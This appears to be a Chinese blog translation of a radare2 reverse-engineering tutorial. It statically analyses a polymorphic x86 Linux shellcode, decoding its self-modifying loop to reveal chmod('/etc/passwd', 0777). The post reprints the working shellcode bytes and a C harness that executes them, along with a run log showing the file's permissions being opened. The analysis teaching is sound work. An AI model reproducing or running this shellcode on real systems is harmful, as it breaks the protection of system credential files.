意译自: Adventures with Radare2 #1: A Simple Shellcode Analysis
有个同学最近在学汇编。把我逆向的热情又拉起来了。下午看到个比较有意思又能看懂的文章,胡乱意译,可以当作我个人的一个笔记。有什么想法可以留言讨论。
以下是正文
Radare2——一个开源逆向工程工具箱,包含反汇编器、调试器和十六进制编辑器。本文将它嗯过逆向在Project Shellcode上找到的shellcode来展示其基础用法。
Shellcode
我们先谈谈啥叫Shellcode
,别想成shell脚本了。shellcode
之用来挖掘漏洞的有效载荷。其中的典型就是注入一段启动shell的代码。
Project Shellcode是一个shellcode及其源码仓库。我通过reddit.com/r/reverseengineering在上月找到的。让我们看看其中一个例子。
60字节的chmod 777多态x86 Linux Shellcode
我碰巧先看到这个.
/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Name : 60 bytes chmod 777 polymorphic x86 linux shellcode
Date : Sat Jun 5 16:10:00 2010
Author : gunslinger_
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com),
ty miller (projectshellcode.com), jonathan salwan(shell-storm.org),
mywisdom (devilzc0de.org), loneferret (offensive-security.com)
*/
/*
root@localhost# ls -la /etc/passwd
-rw-r--r-- 1 root root 1869 2010-05-08 15:53 /etc/passwd
root@localhost# gcc -o polymorphic_chmod polymorphic_chmod.c
chmod.c: In function ‘main’:
chmod.c:37: warning: incompatible implicit declaration of built-in function ‘strlen’
root@localhost# ./polymorphic_chmod
Length: 64
root@localhost# ls -la /etc/passwd
-rwxrwxrwx 1 root root 1869 2010-05-08 15:53 /etc/passwd
root@localhost# chmod 644 /etc/passwd
root@localhost# ls -la /etc/passwd
-rw-r--r-- 1 root root 1869 2010-05-08 15:53 /etc/passwd
*/
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\xeb\x11\x5e\x31\xc9\xb1\x27\x80\x6c\x0e\xff\x35\x80\xe9\x01"
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x20\x4a\x66\xf5\xe5\x44"
"\x90\x66\xfe\x9b\xee\x34\x36\x02\xb5\x66\xf5\xe5\x36\x66\x10"
"\x02\xb5\x1d\x1b\x34\x34\x34\x64\x9a\xa9\x98\x64\xa5\x96\xa8"
"\xa8\xac\x99";
int main(void)
{
fprintf(stdout,"Length: %zu\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
评论中的描述声称代码在/etc/passwd
中设置文件权限为777
,但是你乍一看肯定看不出来。我们只能看到一个初始化为16进制的字节数组。接着被投射给函数指针然后调用。
实用Radare2分析
我们如何弄清程序做了什么?我们可以构建并且运行它,但我不会。因为它可能移除我的家目录。我们实用radare2静态检测它。
首先构建二进制文件
~/Work/project/reverse ⮀ cc -o shellcode polymorphic_chmod_etc_passwd_777.c
接着载入到radare2中:
~/Work/project/reverse ⮀ r2 ./shellcode
-- In soviet Afghanistan you debug radare2!
[0x00400520]>
我们没有加-d
参数,这样可以以静态分析模式运行,而不是实用radare2内建的调试器。现在radare已经就绪,让我们开始输入命令。
radare2的命令通常都非常短。键入?
回车就会进入帮助概述。若问号后面跟着命令,就会给出命令使用的详细信息。
我们首先得定位字节字符串。因为二进制文件没有被精简(stripped),有幸保留了main
函数的虚拟地址。Radare2使用flags
的概念标记二进制文件中的有用位置。尝试键入f
来得到标记列表。main函数将被标记为sym.main
。
我们使用pd
命令反汇编:
[0x080483a0]> pd@sym.main
;-- sym.main:
0x0804849c 55 push ebp
0x0804849d 89e5 mov ebp, esp
0x0804849f 83e4f0 and esp, 0xfffffff0
0x080484a2 83ec10 sub esp, 0x10
0x080484a5 c7042440a00. mov dword [esp], sym.shellcode ; 0x0804a040
0x080484ac e8bffeffff call sym.imp.strlen
0x08048370(unk) ; sym.imp.strlen
0x080484b1 8b1580a00408 mov edx, [sym.__TMC_END__]
0x080484b7 89442408 mov [esp+0x8], eax
pd
命令将反汇编等于block size
的代码块(参见b
命令),本例中块大小似乎比main函数大很多。我们知道gcc生成结构非常好的函数,我们让radare2来分析这个函数并完整打印:
[0x080483a0]> af@sym.main
[0x080483a0]> pdf@sym.main
; DATA XREF from 0x080483b7 (fcn.08048396)
/ (fcn) sym.main 61
| 0x0804849c 55 push ebp
| 0x0804849d 89e5 mov ebp, esp
| 0x0804849f 83e4f0 and esp, 0xfffffff0
| 0x080484a2 83ec10 sub esp, 0x10
| 0x080484a5 c7042440a00. mov dword [esp], sym.shellcode ; 0x0804a040
| 0x080484ac e8bffeffff call sym.imp.strlen
| sym.imp.strlen(unk)
| 0x080484b1 8b1580a00408 mov edx, [sym.__TMC_END__]
| 0x080484b7 89442408 mov [esp+0x8], eax
| 0x080484bb c7442404708. mov dword [esp+0x4], str.Length___zu_n ; 0x08048570
| 0x080484c3 891424 mov [esp], edx
| 0x080484c6 e8c5feffff call sym.imp.fprintf
| sym.imp.fprintf()
| 0x080484cb b840a00408 mov eax, sym.shellcode ; 0x0804a040
| 0x080484d0 ffd0 call eax
| 0x00000000() ; section..comment
| 0x080484d2 b800000000 mov eax, 0x0
| 0x080484d7 c9 leave
\ 0x080484d8 c3 ret
打眼一看就知道需要什么知道什么了。在二进制文件中有足够的信息来帮助标记挖掘漏洞的shellcode字符串位置。你可以在符号名后头看到实际地址。
这个程序对载荷做了什么?可以看到strlen()
和fprintf()
的调用。但更重要的,shellcode的地址在被调用前载入eax寄存器(在0x080484cb
载入,于0x080484d0
调用)。显然下一步就是检查有效载荷看看它做了什么:
[0x080483a0]> pD 60@sym.shellcode
| , ; DATA XREF from 0x080484a2 (sym.main)
| , ; DATA XREF from 0x080484c8 (sym.main)
, ;-- sym.shellcode:
,=< 0x0804a040 eb11 jmp 0x804a053
| ;-- str._1___:
| 0x0804a042 .string "^1ɱ'" ; len=6
|| 0x0804a048 6c insb
|| 0x0804a049 0e push cs
|| 0x0804a04a ff3580e90175 push dword [0x7501e980]
| 0x0804a050 f6eb imul bl
| | 0x0804a052 05e8eaffff add eax, 0xffffeae8
| 0x0804a057 ff20 jmp dword [eax]
0x0804a059 4a dec edx
0x0804a05a 66f5 o16 cmc
0x0804a05c e544 in eax, 0x44
0x0804a05e 90 nop
0x0804a05f 66fe9b invalid
0x0804a062 ee out dx, al
0x0804a063 3436 xor al, 0x36
0x0804a065 02b566f5e536 add dh, [ebp+0x36e5f566]
0x0804a06b 661002 o16 adc [edx], al
0x0804a06e b51d mov ch, 0x1d ; 0x0000001d
;-- str._e444d:
0x0804a070 .string "\\e444d" ; len=6
0x0804a076 a99864a596 test eax, 0x96a56498
0x0804a07b a8 invalid
这里使用pD
来指定想要反汇编的字节数(这里是60)。该怎么评论这些呢?乍一看,有些不能执行的东西,有点棘手。
译者:我的radare git-2014-7-26版本显然和2011年作者写这篇文章时变化了很多。为了能够继续下去,使用pDi
命令:
[0x080483a0]> pDi 60@sym.shellcode
0x0804a040 eb11 jmp 0x804a053
0x0804a042 5e pop esi
0x0804a043 31c9 xor ecx, ecx
0x0804a045 b127 mov cl, 0x27
0x0804a047 806c0eff35 sub byte [esi+ecx-0x1], 0x35
0x0804a04c 80e901 sub cl, 0x1
0x0804a04f 75f6 jne 0x804a047
0x0804a051 eb05 jmp 0x804a058
0x0804a053 e8eaffffff call 0x804a042
0x0804a058 204a66 and [edx+0x66], cl
0x0804a05b f5 cmc
0x0804a05c e544 in eax, 0x44
0x0804a05e 90 nop
0x0804a05f 66 invalid
0x0804a062 ee out dx, al
0x0804a063 3436 xor al, 0x36
0x0804a065 02b566f5e536 add dh, [ebp+0x36e5f566]
0x0804a06b 661002 o16 adc [edx], al
0x0804a06e b51d mov ch, 0x1d
0x0804a070 1b3434 sbb esi, [esp+esi]
0x0804a073 3464 xor al, 0x64
0x0804a075 9aa99864a596a8 call dword 0xa896:0xa56498a9
0x0804a07c a8ac test al, 0xac
0x0804a07e 99 cdq
0x0804a07f 004743 add [edi+0x43], al
0x0804a082 43 inc ebx
0x0804a083 3a20 cmp ah, [eax]
0x0804a085 284765 sub [edi+0x65], al
0x0804a088 6e outsb
0x0804a089 746f je 0x804a0fa
0x0804a08b 6f outsd
0x0804a08c 20342e and [esi+ebp], dh
0x0804a08f 37 aaa
0x0804a090 2e332d72312070 xor ebp, [cs:0x70203172]
0x0804a097 312e xor [esi], ebp
0x0804a099 332c20 xor ebp, [eax]
0x0804a09c 7069 jo 0x804a107
0x0804a09e 652d302e352e sub eax, 0x2e352e30
0x0804a0a4 352920342e xor eax, 0x2e342029
0x0804a0a9 37 aaa
0x0804a0aa 2e3300 xor eax, [cs:eax]
0x0804a0ad 1c00 sbb al, 0x0
0x0804a0af 0000 add [eax], al
0x0804a0b1 0200 add al, [eax]
0x0804a0b3 0000 add [eax], al
0x0804a0b5 0000 add [eax], al
0x0804a0b7 0400 add al, 0x0
0x0804a0b9 0000 add [eax], al
0x0804a0bb 0000 add [eax], al
0x0804a0bd 9c pushfd
0x0804a0be 840408 test [eax+ecx], al
0x0804a0c1 3a00 cmp al, [eax]
0x0804a0c3 0000 add [eax], al
0x0804a0c5 0000 add [eax], al
0x0804a0c7 0000 add [eax], al
0x0804a0c9 0000 add [eax], al
0x0804a0cb 0000 add [eax], al
0x0804a0cd 1e push ds
0x0804a0ce 0300 add eax, [eax]
0x0804a0d0 0002 add [edx], al
现在开始在心中模拟执行。首先跳到0x804a053
,在那里调用0x804a042
,就是第一个指令后面的一个指令。
看上去啥也没干似的。但是,call
调用将调用的返回地址推入栈中,接着存入esi
中。在32位x86中没法直接获取eip
,刚才那个过程就是著名的获取eip的一种hack。程序计数器(eip
)可以用来指向有效载荷相关的数据/代码(记住:攻击者不知道他的代码将被连接器分配到何处)。
现在执行到0x0804a043
,esi
中的值是0x0804a058
。这个异或指令在把0x27
载入ecx
前将其置零。
0x0804a047
开始将[esi+ecx-0x1]
地址的内容减0x35
0x3c00104c
将ecx
减10x3c00104f
如果ecx
不为零循环到0x0804a047
ecx
是{0x27, 0x26,...,0x1}
,esi
已知。所以通过计算,需要将从0x0804a058
开始的0x27
字节减去0x35
。为了模拟这个自修改代码的效果。可以使用wo
系列命令。查看相关帮助:
[0x080483a0]> wo?
|Usage: wo[asmdxoArl24] [hexpairs] @ addr[:bsize]
|Example:
| wox 0x90 ; xor cur block with 0x90
| wox 90 ; xor cur block with 0x90
| wox 0x0203 ; xor cur block with 0203
| woa 02 03 ; add [0203][0203][...] to curblk
| woe 02 03
|Supported operations:
| wow == write looped value (alias for 'wb')
| woa += addition
| wos -= substraction
| wom *= multiply
| wod /= divide
| wox ^= xor
| woo |= or
| woA &= and
| woR random bytes (alias for 'wr $b'
| wor >>= shift right
| wol <<= shift left
| wo2 2= 2 byte endian swap
| wo4 4= 4 byte endian swap
使用wos
从一段内存地址中减去一个常量。但首先要打开输入输出缓存(io cache)。默认情况下radare2以只读方式打开文件,除非以-w
标志打开。或者,设置io.cache
为true
,在内润中缓存写入内容。用户可随意撤销或者提交这些写入,暂不用讨论这些细节。
[0x080483a0]> e io.cache=true
[0x080483a0]> wos 0x35@0x0804a058:0x27
[0x080483a0]> pDi 30@sym.shellcode
0x0804a040 eb11 jmp 0x804a053
0x0804a042 5e pop esi
0x0804a043 31c9 xor ecx, ecx
0x0804a045 b127 mov cl, 0x27
0x0804a047 806c0eff35 sub byte [esi+ecx-0x1], 0x35
0x0804a04c 80e901 sub cl, 0x1
0x0804a04f 75f6 jne 0x804a047
0x0804a051 eb05 jmp 0x804a058
0x0804a053 e8eaffffff call 0x804a042
0x0804a058 eb15 jmp 0x804a06f
0x0804a05a 31c0 xor eax, eax
0x0804a05c b00f mov al, 0xf
0x0804a05e 5b pop ebx
0x0804a05f 31c9 xor ecx, ecx
0x0804a061 66b9ff01 mov cx, 0x1ff
0x0804a065 cd80 int 0x80
0x0804a067 31c0 xor eax, eax
0x0804a069 b001 mov al, 0x1
0x0804a06b 31db xor ebx, ebx
0x0804a06d cd80 int 0x80
0x0804a06f e8e6ffffff call 0x804a05a
0x0804a074 2f das
0x0804a075 657463 je 0x804a0db
0x0804a078 2f das
0x0804a079 7061 jo 0x804a0dc
0x0804a07b 7373 jae 0x804a0f0
0x0804a07d 7764 ja 0x804a0e3
0x0804a07f cb retf
0x0804a080 120e adc cl, [esi]
0x0804a082 0e push cs
看到0x0804a058
之后的指令开始有效。我先看到个int 0x80
指令。在UNIX类系统中,0x80
终端有特殊含义:要求内核执行系统调用,系统调用号储存在eax
中。
通过人工执行(通过跳转和调用),可得eax
在0x0804a065
是0xf
,在0x0804a06d
是0x1
。然后google下或者随便参考下x86内核头文件就知道是哪些系统调用了。
可查得在0x0804a065
调用chmod
,接着在0x0804a06d
调用exit
。接着检查调用参数弄清这些调用做了什么。在linux系统中,调用参数在寄存器中(ebx
,ecx
,edx
, esi
, edi
, ebp
)。
chmod
有两个参数:分别在ebx
和ecx
中有指向文件路径的字符指针和模式(mode_t
,只是一个指定想要更改成的模式或者权限的整数)。ebx
在0x0804a05e
从栈顶弹出,向回溯源看到栈上最顶的东西是0x0804a06f
调用的返回地址(0x0804a074
)。当然,这根本不是返回地址,就是一种巧妙的将字符串打包到有效载荷中的方式(shellcode动态寻址)。使用ps
命令看看它是啥:
[0x080483a0]> ps@0x0804a074
/etc/passwd\xcb\x12\x0e\x0e\x05\xeb\xf3\x1209?::\xeb\xff\xf9\x02\xf9\xfe\xf8=\xfc\xeb;\xfc\xf9\xfe\xf7\xeb;40\xf8\xfb\xf9
chmod
的第二个参数在ecx
中。值是0x1ff
,换算成八进制就是0777
(gdb) p/o 0x1ff
$2 = 0777
所以调用就是chmod('/etc/passwd', 0777)
之后仅仅是调用exit
退出程序。
总结评论
这里是一个在运行时动态改变自身来对抗静态分析的shellcode。该技术并不新奇,确是逃避硬编码检测的简单方法。
现代操作系统中这个shellcode不起作用,因为有效载荷在二进制文件的.data
区,不可写也不可执行…………译者表示这扯远了不管它,通过使用gcc的参数-fno-stack-protector execstack
等应该可以把这些保护关上,大概吧,记不清楚了。
如果想有点挑战性,试试精简过的(stripped)的二进制文件!
有评论告诉我。
以下是译者的题外话:
Recent:
- coursera crypto-11
- statistics for engineers and the sciences
- coursera pred-003, I give up follow this course
- Xie Yihui,现代统计图形
- python for data analysis
Next?: append
- Wikibooks:x86 assembly, http://en.wikibooks.org/wiki/X86_Disassembly
- phrack radare: http://phrack.org/issues/66/14.html
- crackme: http://dustri.org/b/defeating-ioli-with-radare2.html
Future:
The elements of statistical learning?